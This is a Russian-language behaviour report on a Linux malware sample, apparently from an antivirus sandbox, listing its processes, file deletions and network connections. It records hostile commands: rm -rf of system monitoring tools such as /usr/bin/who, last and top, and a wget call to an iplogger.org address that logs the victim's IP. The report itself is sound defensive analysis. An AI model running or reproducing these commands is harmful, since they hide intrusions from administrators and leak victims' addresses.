Техническая информация
Вредоносные функции:
Удаляет следующие системные файлы:
- /usr/bin/w
Запускает процессы:
- /bin/sh <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/sh <SAMPLE_FULL_PATH> -c
- id -u
- ip addr show
- grep inet
- grep -v 127.0.0.
- head -1
- cut -d -f6
- cut -d/ -f1
- clear
- wget -q https://iplogger.org/2v6SE5
- rm -rf 2v6SE5
- rm -rf /usr/bin/w
- rm -rf /usr/bin/who
- rm -rf /usr/bin/last
- rm -rf /usr/bin/top
Выполняет операции с файловой системой:
Создает или модифицирует файлы:
- /var/opt/2v6SE5
Удаляет файлы:
- /var/opt/2v6SE5
- /usr/bin/who
- /usr/bin/last
- /usr/bin/top
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
- 88.##.66.31:443
- 10#.#4.126.12:0
- 10#.#4.127.12:0
- 10#.##.126.12:443
DNS ASK:
- ip###ger.org
- ch###-host.net
Посылает данные следующим серверам:
- 88.##.66.31:443
- 10#.##.126.12:443
Получает данные от следующих серверов:
- 88.##.66.31:443
- 10#.##.126.12:443
